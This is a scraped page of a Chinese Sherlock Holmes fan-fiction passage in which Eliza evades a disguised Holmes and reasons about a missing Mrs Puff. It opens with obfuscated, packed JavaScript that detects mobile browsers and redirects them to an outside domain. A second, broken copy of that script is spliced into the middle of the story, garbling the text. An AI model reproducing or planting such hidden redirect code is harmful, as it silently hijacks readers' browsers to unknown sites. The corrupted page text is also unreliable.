;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15393584|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一下，“他对我说‘那伙人’，也就是人口贩子们，忙着转移女孩，没办法腾出手来处理帕夫太太，所以是马车夫这边的人接手了这个工作。” “他不愿意杀人，就把帕夫太太送到了一个他认为安全的地方——对他们双方来说都安全。” 镀银的十字架在阳光上闪着光，巴斯尔对她眨了眨眼，“持续的金钱安慰和我的不懈劝说之下，我想他已经有些动摇了。” “他对帕夫太太似乎还抱有一丝尊敬的感情，这点你不用担心，帕夫小姐。” 这个假名字让伊莱莎耳根有点发红，她说：“我似乎帮不上你什么忙。” 巴斯尔耸耸肩，“很快就可以了，你们在报纸上刊登的寻人启事他们已经看到了，出于息事宁人的安抚想法，他们也许会给你用帕夫太太的口吻和笔迹写信。 “我想再多砸几个沙弗林，他们当中的会有人愿意帮我提出这个昏招的。如果你收到了相关的东西，请务必通知我。” 他从外套的口袋里掏出一只便携的铅笔，拿出伊莱莎野餐篮里的信封，在上面写了一行字。 ——劳埃德船级社，巴斯尔船长。 写好的信封递给伊莱莎，她接过来，盯着这行字看了一会儿。 远处的塔楼传来下午两点的钟声，她突然惊醒过来，说：“很抱歉，先生，我得走了，我还有工作。” 她把伞合拢，放在餐布上，顺便把篮子扣好，问道：“最后，我想问一个问题，兰戴尔·派克到底是怎么一回事？” 男人恢复了懒散的躺姿，看着伊莱莎和她身后无尽的阳光与绿叶。 他非常喜欢盯着别人的眼睛说话。 这是苏格兰场的警官的习惯吗？ 伊莱莎强忍住没有别开眼。 “环球剧院让怀特俱乐部夺去了一个戏剧界的人才，兰戴尔·派克说他有我想要知道的关于帕夫太太的消息，他不需要钱。只要我扮演他，骗过俱乐部所有人，我就能得到想要的东西。” 这是慈善幼儿园的汇演吗？ 伊莱莎有些无语地跟他对口供：“他什么也没跟我说，只是让我来找他……从某种程度上来说，其实他也没有弄错。” 她跟男人都得到了想要的东西。 伊莱莎从草地上起身，感觉自己全身都是伞上的玫瑰精油味儿，她坐着太久了，被熏得有点头晕。 “我住在骑士桥的蒙彼利埃广场24号，如果你需要找我，可以在这里找到我。” 她学着他盯人的眼光，看着他的灰色眼睛。 男人的眼睛里慢慢漾开惊讶，一眨眼，他又恢复到平静无波的状态。 他从草地上站起来，向少女点头致意：“那么，伊莱莎小姐，再见。斯科特·巴斯尔②也许不日将会来拜访您。” 他们都心知肚明彼此用的是假姓，但斯科特也许是他的真名。 “伊莱莎小姐——”他突然叫住她，伊莱莎回头看他。 他说，“谨慎一点，不要相信任何人。” 伊莱莎戴上帽子，对他微笑一下，转身走出了榉树下的青翠时光。 虽然离开了那个男人之后高热状态又回来了，但她的体力已经恢复得很好了。 她加快脚步，往南边的泰晤士河岸走去。 该死的斯科特，不知道往伞上面涂了多少玫瑰精油，还往里面加了依兰依兰。 伊莱莎毫不怀疑，他往里面放这种伦敦罕见的热带的植物精油是用来追踪她的，最好的方式是走码头水路甩掉他。 不要相信任何人，她首先就不应该相信这个男人。 33.chapter33 帕夫家的女人们 风拂过二球悬铃木，叶片发出窸窣的响声。 伊莱莎在海德公园漫无边际的绿色里行走，往圣乔治医院的方向慢慢走去，走到他们下马车的东南角，再顺着沃克斯豪尔桥路一路南下，往泰晤士河的河岸走去。 这跟她工作的雅典娜音乐厅完全是背道而驰。 歇洛克·福尔摩斯先生利落地撕下上唇的胡须，再从兜里掏出一副笨重的蓝光眼镜戴上。 他把野餐布卷成一团，夹着阳伞，走向卖零食饮料的小摊。 摊主看了他一眼，裂开嘴笑了，露出缺了犬齿的牙列。 “歇洛克先生，这是你要的巴卜。” 他递给福尔摩斯一大块肉干，从堆着的椅子和伞棚后面牵出一直猎狗。 侦探把肉干喂给了狗，跟它玩闹了一会儿。 摊主谢尔曼①递给大侦探一件老旧的棕色外套，福尔摩斯换上新伪装，把马甲上的怀表和表链取下，塞进口袋里，再戴上一顶油腻的毡帽。 谢尔曼提醒道：“那位小姐已经走远了。” 福尔摩斯心不在焉地说：“没关系，这个季节在伦敦根本没人用依兰花的精油。” 他从马甲口袋里取出一个细长的玻璃瓶，把里面油润的液体倒在手巾上，放在巴卜的鼻子下，这只狗立马兴奋地跳了一下。 它兴奋地窜出去，福尔摩斯拉住它的绳子，沿着伊莱莎留下的香气，一路往南走去。 沃克斯豪尔桥路是一条笔直的大路，他远远就能看到少女的黄色背影，路上的行人像是背景的杂色块，只有她一个是明亮的高光区。 他看着伊莱莎放慢脚步，走进路口拐角处的邮局。 于是福尔摩斯停了下来，装作遛狗的闲散人士左顾右盼，拽着跃跃欲试的狗，把它拖到路边。 从邮局的玻璃橱窗里可以看到她在跟电报员说话，她在电报纸上写了一串东西，指了指玻璃外面，然后付了钱离开了。 她逆转了方向，没有沿着路走到泰晤士河，而是朝着遛狗人的方向走来。 歇洛克·福尔摩斯正在欣赏路边咖啡馆桌上摆放的红玫瑰，左手手腕微微颤动，掩在衣袖下的手指摆出揉弦的手型。 伊莱莎走过他时故意没去看他，发出一声嘲讽的轻笑。 福尔摩斯拉住想往少女身上扑过去的巴卜，老神在在地看着橱窗上的海报，眼角余光里看到伊莱莎走进了街角的一个灰败的女帽店。 刚才那一声笑没有听错。 他挑了挑眉，走进邮局，格栅后的柜员在他进来之后就盯着他看。 福尔摩斯走到年轻的柜员面前，她问的不是常规的拍电报还是寄东西，而是说：“请问您是巴斯尔先生吗？” 侦探点点头，柜员脸上憋笑，把一张电报纸递给他，道：“刚才有位小姐说，如果等会儿一个牵着狗戴着蓝光眼镜的先生走进来，请询问他是不是‘巴斯尔先生’，如果是的话，直接把这张纸条交给他。” 他接过来看，上面只有短短的一行字： 愿上帝保佑你这不诚实的骗子。 福尔摩斯嘴角抽搐了几下，他把纸条叠好，放进表盘里。 巴卜从邮局里跑出去，一路向南，往泰晤士河岸跑去，这有点出乎他的意料了。 他们一路走到河边，下了堤岸，来到一个轮渡小码头，这里排着想要渡河的行人。 依兰依兰的香味消失在水面上，巴卜茫然地转圈。 歇洛克·福尔摩斯不可抑制地笑了一声。 “一个奇怪的……聪明姑娘。” 伊莱莎从颠簸的汽船上跳上小码头，手里除了篮子，还提了一个女帽包裹。 她在切尔西桥边的小码头上岸，绕过修船小摊、海航器具店、水手喝酒的小酒馆、牡蛎店和苹果摊，走到切恩路，从女仆注册介绍所的侧门钻进去，进入了护理用品推销商菲克逊家的地下室。 女佣阿黛尔看到她这么骤然的来访，有些惊讶。 伊莱莎摘下帽子，把它扔进厨房的炉子里，对阿黛尔摆出一个友善的微笑，问：“菲克逊先生在家吗？ “他在书房。”女佣补充，“是这一层的那间。” 她点点头，请求道：“阿黛尔，厨房还有热水吗？没有的话请给我烧一壶。” 书房在地下层的餐具室旁边，伊莱莎敲了敲门，得到了一声“进来”。 “我很抱歉，先生，我惹上了一个小麻烦。最近我们停止一切联系，如果有急事，按照之前的说好的方法来，你在《每日电讯报》上面刊登一则厨房女佣雇佣启示，要求必须要会做黑醋栗布丁。” 伊莱莎开门见山，菲克逊先生合上账簿，沉吟了一会儿。 “您放心，我一定在八月前解决掉它，不会耽误你们的事。” 菲克逊没有问她惹上了什么麻烦，他食指相抵，问道：“你找我要白杨树济贫院的金吉尔修女的联系方式，是为了这件事？” 伊莱莎点点头。 推销商不赞成地摇了摇头：“那个地方很危险，说实话，伊莱莎小姐，你很聪明，但是有时候你未免太不爱惜自己了。” 她拿捏不准，这是在提醒她别忘了正事吗？ 阿黛尔打破了沉默，她来敲门道：“伊莱莎小姐，你要的热水好了。” 菲克逊诧异地扬眉，伊莱莎解释道：“有人在我的帽子上面涂了追踪的精油，他牵着狗跟着我走。我只好走水路甩掉他了，来你这里处理一下。” 伞上的精油还沾到了她的发辫上，伊莱莎必须清洗一遍头发。 “用狗来追踪气味，我倒是想到了一个人……品钦巷的谢尔曼，你怎么会招惹上他？” 谢尔曼？ 伊莱莎眨眨眼，道：“他是个什么人？” “动物的朋友，”菲克逊笑了笑，“秩序的敌人。他适合住在荒原上，或者热带雨林里头，可他偏偏要住在伦敦这个大都会，专门让警察头疼。” 除去这个大插曲，伊莱莎的一天按部就班地走着，她掐着时间到了雅典娜音乐厅，再从班尼特那里回到骑士桥。 第二天她醒来时，凯莉正用不知道哪里来的羽毛搔她的鼻尖。 “你的怀特俱乐部之旅怎么样？” 伊莱莎刚睡醒，即使在空间逼仄的伦敦出租屋，她也感受到久违的放松，于是放纵自己冷着脸说：“我希望《潘趣》能把我这个女疯子画得好看一点。” 她有一点轻微的起床气。 凯莉放声大笑，既不娇媚也不动人，像是女子寄宿学院里面的刺头。 “跟我说说。”她兴奋地问。 伊莱莎简短地讲了她在俱乐部和公园的奇遇。 “哇！真浪漫……” 浪漫——？ 伊莱莎躺回床上，打算整理一下自己的计划。 “你要去找那个巴斯尔吗？”凯莉跳上床，问她。 她确实要去一趟劳埃德船级社，查一下琼斯一家移民去美国时到底是有哪些人，在移民局那里她没有权限查不到信息，但是可以从船票上找到记录。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406582|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 伊莱莎摇摇头：“不，不去。事实上，如果他来找你，你也要小心他。” 她翻过身，正面对着凯莉，像巴斯尔那样看着人的眼睛说：“我怀疑他跟拐卖伊迪丝的人是一伙儿的——就算没那么坏，他也是为他们打听消息的。” 关于帕夫太太的描述，伊莱莎始终觉得不对劲。 “先说结论，我认为帕夫太太活着的几率很大，但她不是在被马夫们看管着。”伊莱莎解释道，“我并不相信参与人口贩卖的一员会好到哪里去。” “人口贩卖不会被判绞刑，他们还没必要跨过这条线去杀人。” “但是这样的买卖不可能不死人，简·伯德死了，并且她的尸体还被发现了。我很怀疑她是自己跳水死掉的，人贩子们应该有更隐蔽的处理尸体的方法。” “他们没有道理会放过帕夫太太。巴斯尔跟我说人贩子们主要转移被拐卖的女孩们，没有人手来处理帕夫太太，只好让车夫们去处理她。” “有一些说服力，但是我不认为‘良心尚存’的车夫会放过帕夫太太这个有力的毁灭性证人。” 但是在马车夫手里和在人贩子手里有什么区别吗？ 既然都沾手人口贩卖了，马夫们再良善也不会好到哪里去。 伊莱莎并不怎么相信巴斯尔所说的车夫们仅存的良知之类的鬼话。 “即使马夫们不想杀人，但为了自保，也不得不处理掉她。这样他们就跟人贩子们彻底搅在一起了。” 一旦沾上了人命，他们再想从交易链里脱身就难了。 “那为什么……不是帕夫太太已经……”凯莉很不忍心地问她。 “我想帕夫太太还活着的几率不小，不然巴斯尔费劲儿找她干什么呢？” 只有帕夫太太还活着，并且不在他们手里了，他们才会去找一个可以出庭作证的证人的行踪，甚至不惜找上伦敦最大的消息源——兰戴尔·派克。 “如果巴斯尔真的是警察，他可以直接去找拉德克里夫先生，拉德克里夫先生在警察局有备案。他为什么要通过兰戴尔·派克来找上我？” 凯莉替她回答：“因为他们认为帕夫太太会来找你。” 理查德·拉德克里夫、多丽丝·琼斯，还有她自己，他们三个是帕夫太太最有可能联系的人。 那么，多丽丝究竟去了哪里？ “马车夫内部闹翻，D.H.把威尔逊赶去了金丝雀码头②，对出庭当污点证人态度游移。” 约翰·华生读了一遍这张奇怪的纸条上的内容，他问福尔摩斯：“这是你新接的案子？” 福尔摩斯又抽起了烟，淡蓝色的烟雾里，他说：“这张纸关乎到一个关键的，甚至是决定性的人物，琼斯太太，或者说多丽丝·霍夫曼太太。 “不过按照本国的法律，已婚妇女是不能冠上跟她非法同居的男人的姓氏的，然而叫她出嫁前的姓——帕夫，又太过复杂了。” “我已经有一位帕夫太太和一位帕夫小姐要记录了，再来一位只会加剧叙述的难度，所以还是称她多丽丝·霍夫曼太太吧。” “多丽丝·霍夫曼太太脾气比她的‘妹妹’伊莱莎小姐火爆得多，昨晚在白教堂区发生了一场斗殴，我相信她开枪了，她带领着她的人把异端分子威尔逊赶走了。” 华生问：“她是白教堂的女王？” 福尔摩斯摇了摇手指，“不，远不到那个程度，她还不算坏，尤其是在她母亲的眼皮子下面。多丽丝·霍夫曼只是一个普通的赶马车的女人。”